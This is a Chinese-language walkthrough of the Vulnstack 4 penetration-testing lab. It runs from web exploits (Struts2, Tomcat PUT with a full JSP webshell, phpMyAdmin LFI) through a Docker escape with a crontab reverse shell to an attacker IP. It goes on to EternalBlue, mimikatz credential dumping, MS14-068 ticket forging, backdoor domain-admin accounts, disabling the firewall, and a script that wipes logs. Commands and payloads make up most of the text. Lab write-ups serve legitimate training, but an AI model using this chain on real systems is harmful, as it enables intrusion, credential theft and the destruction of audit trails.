Vulnstack内网靶场4
环境
仅主机模式内网网段192.168.183.0/24
外网网段192.168.157.0/24
其中Ubuntu作为对外的内网机器
攻击机kali地址:192.168.157.129 悬剑:192.168.157.130
还需要进入ubuntu开启服务,密码ubuntu
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045v
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613
sudo docker-compose up -d
信息收集
nmap -sS 192.168.157.0/24
nmap -sV -A 192.168.157.128
可以看到2001、2002、2003分别对应jetty、tomcat、apache中间件
从2001端口开始吧
Ubuntu Getshell
2001Struts2
web界面是这样的,标题提示了是struts2的框架
尝试了一下上传一句话木马,上传成功了但是无路径回显无法利用
直接上struts2扫描工具
看到存在漏洞S2-045、S2-046,查了一下是命令执行漏洞,验证一下
接着使用wget上传木马getshell
kali开启apache服务
service apache2 start
制作msf木马,放在var/www/html下
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f elf > shell.elf
远程执行命令
wget http://192.168.157.129/shell.elf
可以看到木马已经上传上去
接着chmod +x shell.elf添加一个执行权限 然后./shell.elf运行就行了
2002tomcat
Tomcat 8.5.19版本,查询了一下,存在CVE-2017-12615任意写入文件漏洞,漏洞本质是Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件。
抓个包,修改一下数据包改成put,写入木马(因为是tomcat,所以用jsp后门)
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
} public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
蚁剑连接
同样可以反弹msf shell就不演示了
2003phpMyAdmin
连密码都不用就直接进去了,那就查看一下版本号看看存在什么漏洞
4.8.1远程文件包含漏洞(CVE-2018-12613)
验证一下是否存在,接下来就写入一句话然后文件包含连接
http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
但是试了一下就算知道了绝对路径也无法文件包含数据库内的一句话,进去ubuntu看了一下也根本没有这个路径,十分奇怪
后来看到网上的poc,还可以使用session包含,测试一下
http://192.168.157.128:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_a87f3b504810883a0db7aa69946f1988
这个原理就是包含缓存文件,接着就写入一句话
但写了一句话之后,蚁剑也连接不上,看了一下缓存文件的信息,发现一句话被序列化储存了,没办法利用
绝对路径也没法使用,这里只能放弃这个方法getshell了
docker逃逸
拿到shell之后首先要做的就是看看是否存在内网,扫描一下是否存在其他网段
但是明明是root用户ifconfig的命令却用不了,加上之前phpmyadmin的路径问题,让我怀疑我是不是在虚拟机的容器里
果然还是没有这么简单,现在要离开这个容器,由于之前没有接触过容器,急忙恶补了容器的知识初识Docker逃逸 - FreeBuf网络安全行业门户
这里我尝试采用了目录挂载逃逸
查看磁盘文件:
fdisk -l
从返回结果来看sda1、sda2、sda5在/dev目录下。
新建一个目录/test,然后将/dev/sda1挂载到新建的目录下
mkdir /test
mount /dev/sda1 /test
可以看到现在可以通过访问docker容器内部挂载整个宿主机本地文件的/test,来实现访问整个宿主机的目的。
在计划任务里写入一个bash反弹shell的脚本:
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.129/9999 0>&1" >> /test/tmp/shell.sh
chmod +x /test/tmp/shell.sh
cat /test/tmp/shell.sh
写入crontab计划任务,表示每隔两分钟以root权限执行一次计划
echo '*/2 * * * * root bash /tmp/shell.sh' > /test/etc/crontab
cat /test/etc/crontab查看是否写入成功
kali nc监听
nc -lvp 9999
成功!
内网穿越
反弹个shell给msf
run get_local_subnets
run autoroute -s 192.168.183.0/24
run autoroute -p
添加内网路由
use auxiliary/server/socks_proxy
设置一下代理
打开proxychains4配置端口
vi /etc/proxychains4.conf
现在可以通过proxychains4实现内网访问
内网信息收集
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.183.0/24
set threads 100
192.168.183.129 windows7
192.168.183.130 windows 2008
属于DEMO域
与此同时nmap的扫描也扫出来这两个ip
proxychains nmap -Pn -sT 192.168.183.0/24
端口扫描一些看看具体开放了哪些端口
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.183.129-130
大概开放了这些,引人注目的就是445端口了,直接扫一下永恒之蓝
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.183.129-130
显示两个都易受到永恒之蓝攻击
payload要设置为正向
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.129
set payload windows/x64/meterpreter/bind_tcp
win7直接拿下,但是win2008被打的蓝屏重启,不能用
继续信息收集一下,看看有没有别的遗漏
乱码问题输入chcp 65001
ipconfig
net view /domain
net time /domain
net user /domain
net group /domain
net group "domain computers" /domain
net group "domain controllers" /domain
net group "domain admins" /domain
net group "Enterprise Admins" /domain
但是无法进一步收集域内的信息了
load kiwi看看能不能抓取到密码
load kiwi
creds_all
一个域内用户douser和密码
只能通过远程桌面连接看看能不能收集到什么信息了
添加一个管理员用户,准备远程桌面
net user lry Admin111 /add
net localgroup administrators lry /add
开启3389端口
run post/windows/manage/enable_rdp
通过代理连接远程桌面
proxychains rdesktop 192.168.183.129
试了一下域内的用户登陆不上去
用了刚刚建立的管理员账户登陆上去也无济于事,后来突然意识到msf有个令牌窃取的功能Metasploit用法详解 - 1_Ry - 博客园 (cnblogs.com)
load incognito
list_tokens -u
impersonate_token DEMO\\douser \\注意要加两个斜杠
现在就可以进行域内的信息收集了
Domain controllers:
WIN-ENS2VR5TR3N
域名:demo.com
域管账户:Administrator
横向移动
现在获取了win7的权限,但是2008的密码抓不到,win7也没有权限访问,查找了一下之前的笔记,不需要用到管理员权限的横向只能试试MS14-068了内网安全:域内横向移动 - 1_Ry - 博客园 (cnblogs.com)
查看SID
whoami /user
S-1-5-21-979886063-1111900045-1414766810-1107
域内用户douser和密码Dotest123
本来想上传上去,但发现里面有ms14-068和mimikatz.exe
使用ms14-068.exe生成票据
ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
清除票据
klist purge \\清除
klist \\查看
使用mimikatz导入票据
mimikatz.exe "kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache"
成功,这里dir不能用ip只能用主机名
连接成功后先用sc创建任务把防火墙远程关掉
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
接下来上传一个msf正向木马到win7再到域控
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe > shell.exe
创建计划任务的时候显示权限不足,那就继续用sc创建任务
schtasks /create /s 192.168.183.130 /tn test /sc onstart /tr c:\calc.bat /ru system /f
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe"
sc \\WIN-ENS2VR5TR3N start Startup
正向监听getshell
权限维持
获取的shell很不稳定,快速收集信息进行权限维持
kiwi获取密码
或者
添加一个域管理员用户
net user lry Admin111 /add
net group "domain admins" lry /add
开启3389端口
run post/windows/manage/enable_rdp
使用lry管理员登陆了上去
proxychains rdesktop 192.168.183.130
上传一个mimikatz到域控
privilege::debug
lsadump::lsa /patch
获取到域的SID和krbtgt的NTML后就可以制作黄金票据了
黄金票据、白银票据 - 1_Ry - 博客园 (cnblogs.com)具体就不制作了,现在只要域管理员不改krbtgt密码,我们就可以以域内普通用户的身份访问域控
痕迹清理
Linux
清除命令历史记录
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令
:set history=0
:!command
linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:
删除当天日志
sed -i '/当天日期/'d filename
一键清除脚本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
windows
msf
1.查看事件日志
run event_manager -i
2.删除事件日志
run event_manager -c
3.clearv命令清除目标系统的事件日志。
4、还需要手动删除刚刚上传的后门
Vulnstack内网靶场4的更多相关文章
- Vulnstack内网靶场3
Vulnstack内网靶场3 (qiyuanxuetang.net) 环境配置 打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行. 挂起状态,账号已默认登陆,cento ...
- Vulnstack内网靶场1
最近发现了一个内网的靶场网站,简单配置一下网络就可以,不用自己搭建这么麻烦漏洞信息 (qiyuanxuetang.net) 环境配置 内网1靶场由三台机器构成:WIN7.2008 server.200 ...
- Vulnstack内网靶场2
环境配置 内网2靶场由三台机器构成:WIN7.2008 server.2012 server 其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控 网络适配器已经设置好了不用自 ...
- Vulnstack内网靶场5
实验环境搭建 漏洞详情 (qiyuanxuetang.net) "此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集.Web攻防.代码审计.漏洞利用. ...
- CS内网横向移动 模拟渗透实操 超详细
@Webkio 前言: 最近在跟朋友搞一些项目玩,所以最近没怎么更新内容接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白.本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自 ...
- 内网渗透之vlunstack靶场
前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...
- 利用MSF实现三层网络的一次内网渗透
目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为 image/jpeg 上传大马之后发 ...
- 利用Metasploit 打入ThinkPHP内网...
出品|MS08067实验室(www.ms08067.com) 本文作者:dch(Ms08067实验室 SRSP TEAM小组成员) 一.利用Metasploit进行攻击的流程图 Metasploi ...
- 【CTF】msf和impacket联合拿域控内网渗透-拿域控
前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...
随机推荐
- Jenkins无法登陆解决方案
Jenkins-2.204.1 版本 创建jenkins用户时,没填full name,且选择了使用系统的admin登录或者是admin登录只是改了admin的登录密码导致登录不上去(Invalid ...
- [模板]多项式全家桶小记(求逆,开根,ln,exp)
前言 这里的全家桶目前只包括了\(ln,exp,sqrt\).还有一些类似于带余数模,快速幂之类用的比较少的有时间再更,\(NTT\)这种前置知识这里不多说. 还有一些基本的导数和微积分内容要了解,建 ...
- bzoj3729-Gty的游戏【Splay,博弈论】
正题 题目链接:https://darkbzoj.tk/problem/3729 题目大意 给出\(n\)个点的一棵树,第\(i\)个节点上有\(a_i\)个石子,然后每次可以选择不超过\(L\)个石 ...
- a标签的href属性拼接问题
<a id="nickName" href="/community/user/userinfo?nickName="></a> 如上所示 ...
- 全网最新最详细最明白教程之Spring源码搭建,没有之一,超详细
相关帖子有很多但是都不是最新的Gradle,我在使用Gradle最新版编译的时候简直坑死我了,弄了好久.接下来给大家详细说一下这个安装过程,以及相关的软件版本号. 相关软件.依赖的版本号: Gradl ...
- Stream之高级函数
上回文说到了有关Stream一些数学函数的用法.今天来说下Stream一些高级的函数用法,这些函数在日常工作中也是必不可少的,测试数据还是引用上一篇的数据. Map 这个方法我个人称之为转换函数,把一 ...
- asp.net core使用identity+jwt保护你的webapi(二)——获取jwt token
前言 上一篇已经介绍了identity在web api中的基本配置,本篇来完成用户的注册,登录,获取jwt token. 开始 开始之前先配置一下jwt相关服务. 配置JWT 首先NuGet安装包: ...
- dubbo-admin的使用
目录 了解 dubbo-admin 下载 dubbo-admin 使用 dubbo-admin 1.dubbo-admin是什么 dubbo-admin是一个监控程序,可以通过web很方便的管理监控众 ...
- Protocol handler start failed
问题描述: 启动项目的时候出现的中文大体意思是:协议处理程序启动失败看着这个启动失败,下意识就想是不是端口占用了,结果换个端口还是不行,于是百度了一个办法 问题解决: 打开任务管理器,找到Java的后 ...
- 【Java技术专题】「性能优化系列」针对Java对象压缩及序列化技术的探索之路
序列化和反序列化 序列化就是指把对象转换为字节码: 对象传递和保存时,保证对象的完整性和可传递性.把对象转换为有字节码,以便在网络上传输或保存在本地文件中: 反序列化就是指把字节码恢复为对象: 根据字 ...